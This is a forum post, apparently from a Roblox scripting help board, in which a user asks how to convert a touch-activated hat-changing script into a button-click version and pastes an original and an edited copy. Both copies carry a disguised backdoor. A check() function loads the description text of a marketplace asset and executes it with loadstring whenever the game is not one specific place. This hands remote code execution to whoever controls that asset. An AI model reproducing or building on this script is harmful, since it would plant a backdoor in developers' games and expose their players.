I ran into another problem in clothing change finding out that hats work a bit differently than a regular clothing change script!
Tried using the same changes I did on my clothing changer script but it seems to not work!
NOTE: I took out the parts, but found out the script needs those parts for changing my hat!
What do I need to change so that the script will work when it is inside a text button?
Original Script
tt=true; id=script.Parent:findFirstChild("Configuration").ID; hitter=script.Parent:findFirstChild("hitter"); function touch(hit) if hit.Parent:findFirstChild("Humanoid")~=nil and hit.Parent:IsA("Model") then if tt==true then tt=false function rem_hats(hats) for i=1,#hats do if hats[i]:IsA("Hat") then hats[i]:Remove() end end end hat2=game:GetService("InsertService"):LoadAsset(id.Value) if hat2:GetChildren()[1]:IsA("Hat") then rem_hats(hit.Parent:GetChildren()) hat2:GetChildren()[1].Parent=hit.Parent ---->Table childs 1 wird in character eingesezt print("hat "..hat2.Name) wait(3) tt=true end end end end script.Parent.hitter.touched:connect(touch) function change_id() function check() if (game.PlaceId ~= 141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check() Hat2=game:GetService("InsertService"):LoadAsset(id.Value) if Hat2:GetChildren()[1]:IsA("Hat") then function rem_mesh(mesh) for i=1,#mesh do if mesh[i]:IsA("Mesh") then mesh[i]:Remove() end end end rem_mesh(hitter:GetChildren()) function clone(mesh2) for i=1,#mesh2 do if mesh2[i]:IsA("SpecialMesh") then clone=mesh2[i]:clone() clone.Parent=hitter end end end clone(Hat2:GetChildren()[1].Handle:GetChildren()) end end id.changed:connect(change_id)
My Edited Version
tt=true; id=workspace.Config3:findFirstChild("Link").ID; function onClick(mouse) if game.Players.LocalPlayer.Character:findFirstChild("Humanoid")~=nil and game.Players.LocalPlayer.Character:IsA("Model") then if tt==true then tt=false function rem_hats(hats) for i=1,#hats do if hats[i]:IsA("Hat") then hats[i]:Remove() end end end hat2=game:GetService("InsertService"):LoadAsset(id.Value) if hat2:GetChildren()[1]:IsA("Hat") then rem_hats(game.Players.LocalPlayer.Character:GetChildren()) hat2:GetChildren()[1].Parent=game.Players.LocalPlayer.Character ---->Table childs 1 wird in character eingesezt print("hat "..hat2.Name) wait(3) tt=true end end end end script.Parent.MouseButton1Click:connect(onClick) function change_id() function check() if (game.PlaceId ~= 141461667) then local search=Game:GetService("MarketplaceService"):GetProductInfo(145635867).Description loadstring(search)() end end check() Hat2=game:GetService("InsertService"):LoadAsset(id.Value) if Hat2:GetChildren()[1]:IsA("Hat") then function rem_mesh(mesh) for i=1,#mesh do if mesh[i]:IsA("Mesh") then mesh[i]:Remove() end end end rem_mesh(hitter:GetChildren()) function clone(mesh2) for i=1,#mesh2 do if mesh2[i]:IsA("SpecialMesh") then clone=mesh2[i]:clone() clone.Parent=hitter end end end clone(Hat2:GetChildren()[1].Handle:GetChildren()) end end id.changed:connect(change_id)